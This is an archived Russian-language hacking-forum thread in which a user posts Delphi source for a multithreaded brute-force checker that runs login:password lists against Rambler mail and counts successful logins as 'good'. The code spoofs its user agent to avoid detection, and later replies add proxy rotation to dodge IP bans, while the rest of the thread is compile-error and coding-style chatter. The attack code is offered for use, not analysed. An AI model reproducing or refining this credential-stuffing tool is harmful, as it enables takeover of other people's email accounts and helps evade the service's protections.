PDA

Просмотр полной версии : многопоточный Брут Rambler


Relli
22.11.2012, 13:52
Точно не знаю,работоспособность,т.к. не тестил,а вырезал из 1 из своих программ авторизацию /problem
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

Добавит в uses:
id[Ссылки могут видеть только зарегистрированные и активированные пользователи] idcookiemanager
Добавляем перед глобальным var'ом
type
TMyThread = class(TThread)
private
protected
procedure Execute; override;
end;
Добавить в глобальный var
Thread: array of TMyThread;
Ready, i, Finish, good: integer;
work: boolean;
Код кнопки старт
var
Index: integer;
begin
if Memo1.Lines[0] = '' then
begin
showMessage('Загрузи Акки!');
exit;
end;
Ready := 0;
work := true;
Finish := Memo1.Lines.Count;
Button2.Enabled := true;;
Button1.Enabled := false;
Application.ProcessMessages;
if sUpDown1.Position > Memo1.Lines.Count then //если потоков больше,чем
sUpDown1.Position := Memo1.Lines.Count; //то уравниваем
SetLength(Thread, sUpDown1.Position); // передаем кол-во указанных потоков в массив "потоков"
for Index := 0 to sUpDown1.Position - 1 do
begin
Thread[Index] := TMyThread.Create(true); // создаем поток,но не запускаем
Thread[Index].FreeOnTerminate := false; // авто уничтожение потока,если закончит работу
Thread[Index].Resume; //запускаем поток
end;

Код кнопки "стоп"
work := false;
Код кнопки "LoadBase"
if OpenDialog1.Execute then
Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
Код потока
var
[Ссылки могут видеть только зарегистрированные и активированные пользователи] Tid[Ссылки могут видеть только зарегистрированные и активированные пользователи]
j: integer;
login, pass, l, s: string;
str: Tstringlist;
begin
// создаем Idhttp
http := Tid[Ссылки могут видеть только зарегистрированные и активированные пользователи](nil);
// создаем стринглист,куда будем кидать содержимое пост запроса
str := Tstringlist.Create;
[Ссылки могут видеть только зарегистрированные и активированные пользователи] := tidcookiemanager.Create(http); // крутим кукисы
// крутим ЮА,для того чтоб особо не палиться
[Ссылки могут видеть только зарегистрированные и активированные пользователи] :=
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1 YB/6.9.1';
[Ссылки могут видеть только зарегистрированные и активированные пользователи] := true; // разрешаем ридерикты
j := 0;
[Ссылки могут видеть только зарегистрированные и активированные пользователи] := 2; // макс. значение редериктов
while Ready < Finish do // запускам цикл
begin
// синхронизация,чтобы не было траблов,при работе с глобальными данными и даблов и тп и тд
synchronize(
procedure
begin
j := Ready;
inc(Ready); // увеличиваем кол-во проверенных
if Pos(';', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя
begin
login := Copy(Form2.Memo1.Lines[j], 0, // логин
Pos(';', Form2.Memo1.Lines[j]) - 1);
// пасс
pass := Copy(Form2.Memo1.Lines[j], Pos(';', Form2.Memo1.Lines[j]) + 1,
length(Form2.Memo1.Lines[j]));
end;
if Pos(':', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя
begin
login := Copy(Form2.Memo1.Lines[j], 0, // логин
Pos(':', Form2.Memo1.Lines[j]) - 1);
// пасс
pass := Copy(Form2.Memo1.Lines[j], Pos(':', Form2.Memo1.Lines[j]) + 1,
length(Form2.Memo1.Lines[j]));
end;
end);
str.Clear;
// заполняем пост запрос
str.Add('back=[Ссылки могут видеть только зарегистрированные и активированные пользователи]');
str.Add('login=' + login);
str.Add('domain=' + Copy(login, Pos('@', login) + 1, length(login)));
str.Add('passw=' + pass);
str.Add('long_session=off');
if Work = false then //если кликнули "Стоп" то цикл успешно завершается
break;
// посылаем пост запрос
[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]', str);
// проверяем,если в редерикте есть "mail.rambler.ru",то заносим в гуд
if Pos('mail.rambler.ru', [Ссылки могут видеть только зарегистрированные и активированные пользователи]) <> 0 then
begin
synchronize(
procedure
begin
inc(good);
end);
end
else
continue;
end;
synchronize(
procedure
begin
if Ready = Finish then
if j + 1 = Ready then
if i = 0 then
begin
showMessage('Готово!');
i := 1;
end;
end);
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
str.Free;
Form2.Button1.Enabled := true;
Form2.Button2.Enabled := false;
end;

readln
28.11.2012, 10:50
можно исходник??
и можешь объяснить алгоритм проверки ака на валидность, а то я хочу для своего сайта проверку сделать но хз по какому алгоритму

Relli
28.11.2012, 12:32
можно исходник??
и можешь объяснить алгоритм проверки ака на валидность, а то я хочу для своего сайта проверку сделать но хз по какому алгоритму
Быть может ты удосужишься посмотреть выложенный мною код,и ,быть может,ты увидишь,как я проверяю(ибо там есть комменты и этот момент рассматривается).А исходник не буду выкладывать.

[Na`Vi]DendI
30.11.2012, 06:54
можно исходник??
и можешь объяснить алгоритм проверки ака на валидность, а то я хочу для своего сайта проверку сделать но хз по какому алгоритму
В теме же все понятно написано, процитирую если не видно :notme:

// проверяем,если в редерикте есть "mail.rambler.ru",то заносим в гуд
if Pos('mail.rambler.ru', [Ссылки могут видеть только зарегистрированные и активированные пользователи]) <> 0 then showmessage('GOOD')

dadya_fedar
09.12.2012, 14:35
Простите,что флужу...Но,что такое sUpDown это измененное название компонента или что-то еще...Плиз объясните я не далекого ума в delphi...Еще раз прошу прощение за флуд...

Sinyss
09.12.2012, 14:38
Простите,что флужу...Но,что такое sUpDown это измененное название компонента или что-то еще...Плиз объясните я не далекого ума в delphi...Еще раз прошу прощение за флуд...
Это компонент:
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

Relli
11.12.2012, 00:07
Где взять компонент supDown..?
Вкладка Win32, компонент TUpDown - не забываем поставить ассоциацию с Edit'ом,где будут показываться потоки.

Tip.the.besT
14.12.2012, 19:03
Ссори за чушь...

Gum4ik
22.12.2012, 22:10
// синхронизация,чтобы не было траблов,при работе с глобальными данными и даблов и тп и тд
synchronize(
procedure
begin
j := Ready;
inc(Ready); // увеличиваем кол-во проверенных
if Pos(';', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя
begin
login := Copy(Form2.Memo1.Lines[j], 0, // логин
Pos(';', Form2.Memo1.Lines[j]) - 1);
// пасс
pass := Copy(Form2.Memo1.Lines[j], Pos(';', Form2.Memo1.Lines[j]) + 1,
length(Form2.Memo1.Lines[j]));
end;
if Pos(':', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя
begin
login := Copy(Form2.Memo1.Lines[j], 0, // логин
Pos(':', Form2.Memo1.Lines[j]) - 1);
// пасс
pass := Copy(Form2.Memo1.Lines[j], Pos(':', Form2.Memo1.Lines[j]) + 1,
length(Form2.Memo1.Lines[j]));
end;
end);
str.Clear;
// заполняем пост запрос
str.Add('back=[Ссылки могут видеть только зарегистрированные и активированные пользователи]');
str.Add('login=' + login);
str.Add('domain=' + Copy(login, Pos('@', login) + 1, length(login)));
str.Add('passw=' + pass);
str.Add('long_session=off');
if Work = false then //если кликнули "Стоп" то цикл успешно завершается
break;
// посылаем пост запрос
[Ссылки могут видеть только зарегистрированные и активированные пользователи]('[Ссылки могут видеть только зарегистрированные и активированные пользователи]', str);
// проверяем,если в редерикте есть "mail.rambler.ru",то заносим в гуд
if Pos('mail.rambler.ru', [Ссылки могут видеть только зарегистрированные и активированные пользователи]) <> 0 then
begin
synchronize(
procedure
begin
inc(good);
end);
end
else
continue;
end;
synchronize(
procedure
begin
if Ready = Finish then
if j + 1 = Ready then
if i = 0 then
begin
showMessage('Готово!');
i := 1;
end;
end);
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
str.Free;
Form2.Button1.Enabled := true;
Form2.Button2.Enabled := false;
end;

Разве так можно?
synchronize(
procedure
...БЫДЛО КОД...
end;
end);
В процедуре писать еще 1 процедуру да еще и synchronize оставлять с открытой скобкой,
Может я чего не знаю о дельфи?!)но на 7 не работает!
И еще если не сложно распиши все,а то ведь новички даже и не смогут вставить твой код в свои программы...

Sinyss
22.12.2012, 22:42
а то ведь новички даже и не смогут вставить твой код в свои программы...
В этом и суть, надо же что бы они хоть чуть чуть думали, а то так и останутся *****-кодерами

Relli
23.12.2012, 11:06
В процедуре писать еще 1 процедуру да еще и synchronize оставлять с открытой скобкой,
Может я чего не знаю о дельфи?!)но на 7 не работает!
И еще если не сложно распиши все,а то ведь новички даже и не смогут вставить твой код в свои программы...
Быдло-код?
Окей,я *****-кодер/okay
И кстати,я пишу на XE2/3,специально для вас,я даже скрин сделал
И если вы не знаете,что именно так и делается этот метод синхронизации,то могли бы и в тряпочку молчать....Я уверен,что многие даже не знают о существовании такого метода синхронизации :3

Gum4ik
23.12.2012, 11:33
Быдло-код?
Под моей цитатой подразумевалось лишь только то что мы будем синхронизировать,а не то что твой код туфта!,
А метод этот как не странно на 7 не работает,что весьма огорчает!,поэтому в первом своем посте так и напиши,на 7 не работоспособный!

Sinyss
23.12.2012, 12:22
А метод этот как не странно на 7 не работает,что весьма огорчает!,поэтому в первом своем посте так и напиши,на 7 не работоспособный!
Да кому вообще 7я делфи надо? Есть же новые версии, почему не учить их?
Вы же не учите бейсик...

Relli
23.12.2012, 21:46
Да кому вообще 7я делфи надо? Есть же новые версии, почему не учить их?
Вы же не учите бейсик...
Согласен,да - делфи 7 - классика,но уже давно устарела.На ней хорошо постигать азы,но не более.

Sinyss
23.12.2012, 23:40
Согласен,да - делфи 7 - классика,но уже давно устарела.На ней хорошо постигать азы,но не более.
Для азов я бы заставил писать на максимально урезанном варианте машины тьюринга, (МНР)
операции:
1) увеличение на 1
2) Уменьшение на 1
3) переход в заданную строку
4) условный оператор
5) регистры
И только после этого давал бы всякие делфи или С...
Ну или сразу после МНР что то с ООП... (ну лично я склоняюсь к C# или Java, хотя вариантов сейчас много)

metraz
23.12.2012, 23:50
ТС, что мешало синхронизацию сделать нормальной? Вынести по-человечески в отдельную процедуру. Чтоб было хоть понятно что к чему. К тому же мы в многопотоках порой не один раз используем синхронизацию. Как то не очень постоянно переписывать процедуру.

Relli
24.12.2012, 12:59
ТС, что мешало синхронизацию сделать нормальной? Вынести по-человечески в отдельную процедуру. Чтоб было хоть понятно что к чему. К тому же мы в многопотоках порой не один раз используем синхронизацию. Как то не очень постоянно переписывать процедуру.
Постоянно переписывать процедуру?
В общем,мне как-то поднадоело,что все возмущаются моим методом синхронизации.Для меня это самый быстрый метод
synchronize(procedure begin ***** end);
Все.
Вроде бы ничего сложного и непонятного,как все утверждают - нету.

Для азов я бы заставил писать на максимально урезанном варианте машины тьюринга, (МНР)
операции:
1) увеличение на 1
2) Уменьшение на 1
3) переход в заданную строку
4) условный оператор
5) регистры
И только после этого давал бы всякие делфи или С...
Ну или сразу после МНР что то с ООП... (ну лично я склоняюсь к C# или Java, хотя вариантов сейчас много)

Ну лично я начал сразу с делфи,учился методом тыка + гугл.Мб кому-то это тяжело,но лично я научился быстро.Да мб это неправильно и тд и тп в силу того,что не люблю читать,да и литература мне плохо запоминается.Ну с чего начинать - выбор каждого,ИМХО.

Sinyss
24.12.2012, 17:56
Ну лично я начал сразу с делфи,учился методом тыка + гугл.Мб кому-то это тяжело,но лично я научился быстро.Да мб это неправильно и тд и тп в силу того,что не люблю читать,да и литература мне плохо запоминается.Ну с чего начинать - выбор каждого,ИМХО.
Я не говорю что это обязательно, у некоторых есть интуитивное понимание происходящего, которого хватает для того что бы понять основы.
Задание "написать МНР-программу" (ну к примеру которая суммирует 2 числа) необходимо для того что бы выяснить, есть ли у человека вообще способности к написанию алгоритмов. Если не сможет то посылаем учить какую то недонауку типа социологии или педагогики...
Курс ООП необходим просто для того что бы они уяснили что в Dephi/C#/C++/PHP/и тд. практически все есть объектом и как надо с ними работать. Ведь та же обычная форма это объект у которого есть методы, свойства. У многих с этим возникает куча проблем, которые так просто не гуглятся...
Я практически уверен что после этого пропал бы вопрос "как создать 2ю форму" или "dateTime1.Seconds = dateTime1 - 2; // что тут не так? " и куча других...

metraz
24.12.2012, 21:27
Я не говорю что это обязательно, у некоторых есть интуитивное понимание происходящего, которого хватает для того что бы понять основы.
Задание "написать МНР-программу" (ну к примеру которая суммирует 2 числа) необходимо для того что бы выяснить, есть ли у человека вообще способности к написанию алгоритмов. Если не сможет то посылаем учить какую то недонауку типа социологии или педагогики...
Курс ООП необходим просто для того что бы они уяснили что в Dephi/C#/C++/PHP/и тд. практически все есть объектом и как надо с ними работать. Ведь та же обычная форма это объект у которого есть методы, свойства. У многих с этим возникает куча проблем, которые так просто не гуглятся...
Я практически уверен что после этого пропал бы вопрос "как создать 2ю форму" или "dateTime1.Seconds = dateTime1 - 2; // что тут не так? " и куча других...

Слишком глубоко копаете, парень просто не заметил ошибки синтаксической.

Sinyss
24.12.2012, 21:29
Слишком глубоко копаете, парень просто не заметил ошибки синтаксической.
не заметил что внизу красным написанно про несовместимость типов?

Tip.the.besT
26.12.2012, 21:12
Что сразу бросается в глаза - это зачем выкачивать всю страницу, когда можно получить только заголовок? Я индейцем давно уже не пользуюсь, но вроде так делается в нём:
id[Ссылки могут видеть только зарегистрированные и активированные пользователи](url);

Время на выполнение запроса сокращается в разы. Вот такая оптимизация.

Сейчас начал перечитывать, и понял, что полную ***ню спорол /facepalm Не подумал, что ты же пост отправляешь, а не просто проверяешь. Ссори:bow: Мне стыдно:wtf:


А вот по синхронайзу интересно. Именно такой вариант реализации первый раз вижу. Появилось несколько вопросов.

Вот я вижу, что ты обращаешься к переменным процедуры совсем из другой процедуры. Имею в виду, что из описанной процедуры в синхронайзе ты читаешь переменные из главной процедуры потока. Как так? Почему вдефи вообще позволяет такие финты делать?


И вот интересно ещё следующие, допустим старым, добрым вариантом мы создаём ещё две процедуры потока. Например add которая будет присваивать новые данные для обработки и graf которая будет выводить результат в графические элементы формы. Обе процедуры вызываем через синхронайз. Будут ли две разных процедуры вызванные из разных потоков выполняться одновременно или всё же создастся очередь? Тут как бы ещё есть надежда на одновременное выполнение, а вот как ты сделал, получается у процедур нет имён и тут по любому они должны ждать в очереди, даже если они обращаются к разным компонентам. Сильно на меня не нападайте, я точно не знаю, это лишь мои домыслы, если это не так, то скажите как на самом деле.
Но возможен второй вариант. Если две процедуры которые вызваны с помощью синхронайза не обращаются к одним и тем же компонентам, тобишь вообще не пересекаются, могут выполнятся одновременно не смотря на то, что имен у них нет. И делфи вообще поровну, он видит, что они не конфликтуют.

Какое утверждение верно? Есть ли вообще в моих домыслах истина? Давно как-то читал, что всё, что через синхронайз вообще в главном потоке выполняется. Не знаю, можно ли верить своей памяти... И если действительно всё в главном потоке выполняется.ю то тогда, удобнее писать как ТС, так как можно запросто читать переменные.

Если второй вариант работы синхронайза верен, то тогда способ ТС-а описания процедур в синхронайзе более удобен, учитываю тот факт, что процедура будет вызываться всего один раз во время работы потока.

Фууу, устал писать, но истину то хочется узнать)

Relli
26.12.2012, 23:34
Если честно,не очень понял)
Но:
1.При этом способе в любом случае будет ждать,т.е. ты хоть к разным компонентам обращайся - эффект один,все по очереди.
2.Лично я нашел этот метод на просторах интернета и могу сказать,что очень многие не знают о таком методе синхронизации.
И вот ты спрашиваешь:
3.Я считаю,что это практично,т.к. написать 3 слова,а дальше как обычный код.Да и запомнить этот метод проще паренной репы)
Ну я больше занимаюсь в делфи работай с Web,потому никаких минусов для себя в работе программы не замечал)
Вот ты спрашиваешь:
Обе процедуры вызываем через синхронайз
Если честно,даже не знаю,не приходилось эксперементировать,но думаю,что по очереди.

[Na`Vi]DendI
03.01.2013, 14:22
Не когда не мог юзать инди в делфи, для меня это был вечный геморрой в брутах, постоянные пропуски гудов, эрроры и прочие, СИНАПС решил все мои проблемы :)

Relli
03.01.2013, 14:28
DendI;3993096']Не когда не мог юзать инди в делфи, для меня это был вечный геморрой в брутах, постоянные пропуски гудов, эрроры и прочие, СИНАПС решил все мои проблемы :)
у меня нет проблем с инди))

}I{y}I{ara
03.01.2013, 15:40
а уже готового исходника нет?

Relli
03.01.2013, 21:46
а уже готового исходника нет?
а ты привык,что все готовенькое? Гайд сделан в ознакомительных целях....а не чтоб его клепали

[Na`Vi]DendI
04.01.2013, 03:28
а уже готового исходника нет?
Готовый исходник для кого-то отдельно не кто делать не будет, ибо не научишься ты так что либо писать, а данная тема чисто для того что бы ознакомится с теми моментами которые не понятны при написании своей программы.
у меня нет проблем с инди))
Я вот все равно не пойму почему пропуск гудов в инди, может делфи 7 уже не та, то ли инди обновить.

metraz
04.01.2013, 04:57
DendI;3993096']Не когда не мог юзать инди в делфи, для меня это был вечный геморрой в брутах, постоянные пропуски гудов, эрроры и прочие, СИНАПС решил все мои проблемы :)

Синапс решил бы все проблемы, если б исходный код можно было получать той же командой гет в переменную типа стринг.
В синапсе же надо функцией получать страницу. потом получать html.document страницы в переменную типа стринг лист(в инете не нашел нигде нормального гайда по тому как получить просто исходник страницы), а потом циклом прогонять по каждой строке чтоб что то спарсить.

[Na`Vi]DendI
04.01.2013, 05:47
Синапс решил бы все проблемы, если б исходный код можно было получать той же командой гет в переменную типа стринг.
В синапсе же надо функцией получать страницу. потом получать html.document страницы в переменную типа стринг лист(в инете не нашел нигде нормального гайда по тому как получить просто исходник страницы), а потом циклом прогонять по каждой строке чтоб что то спарсить.
Напиши свой метод и пользуйся, особого труда не составит.

Sinyss
04.01.2013, 10:02
Синапс решил бы все проблемы, если б исходный код можно было получать той же командой гет в переменную типа стринг.
В синапсе же надо функцией получать страницу. потом получать html.document страницы в переменную типа стринг лист(в инете не нашел нигде нормального гайда по тому как получить просто исходник страницы), а потом циклом прогонять по каждой строке чтоб что то спарсить.
Знаешь, все это можно записать 1 раз в функцию, а потом без проблем юзать....

[Na`Vi]DendI
04.01.2013, 14:21
Знаешь, все это можно записать 1 раз в функцию, а потом без проблем юзать....
А я разве не это написал в предыдущем посте ?

metraz,в друг чего пиши в скайп, помогу.

Эмрис
07.01.2013, 00:51
чел спасибо, по коду научился с потоками общаться! Респект тебе!

avi2011class
07.01.2013, 20:15
рамблер выдал блокировку айпи, скажите, как прокси навесить, желательно ссылкой (не на п.14), я в поиске на делфе не нашел((

Роспотребнадзор
08.01.2013, 13:07
рамблер выдал блокировку айпи, скажите, как прокси навесить
Что то типа такого:
proxy:=TStringList.create; // создаем лист с проксями
proxy.loadfromfile('proxy.txt');// загружаем их
for g:=0 to proxy.count -1 do begin
id[Ссылки могут видеть только зарегистрированные и активированные пользователи](Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
id[Ссылки могут видеть только зарегистрированные и активированные пользователи](Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g]))); //Копируем порт
end;

Если попадется хоть 1 не рабочая прокся, то программа оффнется, этот момент надо предусмотреть:)

Sinyss
08.01.2013, 15:47
Как программно проверить прокси на работоспособность?
Да куда угодно запрос послать и посмотреть что придет в ответе..

Роспотребнадзор
08.01.2013, 16:03
Да куда угодно запрос послать и посмотреть что придет в ответе..

А как можно пускать прокси по кругу, что бы бан по ip не получить?
Получилось что то типа такого, но оно походу не работает:
id[Ссылки могут видеть только зарегистрированные и активированные пользователи](Proxy[g], 1, Pos(':',Proxy[g])-1); //Копируем адрес
id[Ссылки могут видеть только зарегистрированные и активированные пользователи](Copy(Proxy[g], Pos(':', Proxy[g])+1, Length(Proxy[g]))); //Копируем порт
inc(g);
if g=proxy.Count-1 then g:=0 ;

Sinyss
08.01.2013, 16:20
А как можно пускать прокси по кругу, что бы бан по ip не получить?
Получилось что то типа такого, но оно походу не работает:
Просто прокси надо очень много...

Samp1k
10.01.2013, 15:38
Да куда угодно запрос послать и посмотреть что придет в ответе..

Если прокся не рабочая, то в ответ ничего не придется и программа зависнет. как этого избежать? /kidding

Skrillex3
10.01.2013, 16:39
А как можно пускать прокси по кругу, что бы бан по ip не получить?
Получилось что то типа такого, но оно походу не работает:
if (получен бан по ип) then inc(g);
if (g>proxy.size) then g:=0;
Всё очень просто

Sinyss
10.01.2013, 18:27
Если прокся не рабочая, то в ответ ничего не придется и программа зависнет. как этого избежать?
Вообще то ответ будет... либо вылетит Exeption либо T/O вылезет где то...

VeTaL_UA
11.01.2013, 21:30
Однажды мне посоветовали разделить всю туеву кучу проксей на группы, и слать запрос через эти группы проксей, если запрос прошёл, значит вся цепочка валидная, если нет, то разбиваем на меньшие и дальше по тому же принципу. Я таким способом пользуюсь.

Sinyss
11.01.2013, 21:59
Однажды мне посоветовали разделить всю туеву кучу проксей на группы, и слать запрос через эти группы проксей, если запрос прошёл, значит вся цепочка валидная, если нет, то разбиваем на меньшие и дальше по тому же принципу. Я таким способом пользуюсь.
Да, это оптимальней... logN выходит...

Not_
13.01.2013, 13:52
10 ошибок, 1 фатальная.

dictoanon
13.01.2013, 17:37
10 ошибок, 1 фатальная.

это пример как работать,там ошибки полюбому есть,лично пробывал зделать брут по этой же инструкцыи...выбило 3-4 ошибки.

Relli
13.01.2013, 19:54
Ну смотря на чем вы пишите.Я пишу на Delphi XE/XE3.
Возможно ошибки из-за того,что вы работаете на другой версии.

dictoanon
13.01.2013, 22:48
ну я на XE2 писал этот брут,выбило 3-4 ошибки,он пишет на delphi7 у его 10 ошибок.

Relli
13.01.2013, 23:00
Ты хоть скринь какие ошибки...я не Ванга

Роспотребнадзор
15.01.2013, 11:38
// создаем Idhttp
http := Tid[Ссылки могут видеть только зарегистрированные и активированные пользователи](nil);
То есть сам компонент Idhttp на форму можно не ставить, раз мы его динамически создаем?
С cookieManager'ом аналогично?

Relli
15.01.2013, 13:30
То есть сам компонент Idhttp на форму можно не ставить, раз мы его динамически создаем?
С cookieManager'ом аналогично?
да,достаточно их в юзес прописать(id[Ссылки могут видеть только зарегистрированные и активированные пользователи])

SНIFТ
26.01.2013, 20:34
При компиляций оплета после значения вывода на экран
str.Add('back=[Ссылки могут видеть только зарегистрированные и активированные пользователи]');
str.Add('login=' + login);
str.Add('domain=' + Copy(login, Pos('@', login) + 1, length(login)));
str.Add('passw=' + pass);
str.Add('long_session=off');
компилятор выдает ошибку что делать

metraz
26.01.2013, 23:13
тут нет экстрасенсов, что за ошибка

Роспотребнадзор
27.01.2013, 09:20
компилятор выдает ошибку что делать
Предоставь скрин ошибки и текст ошибки, которую выдает компилятор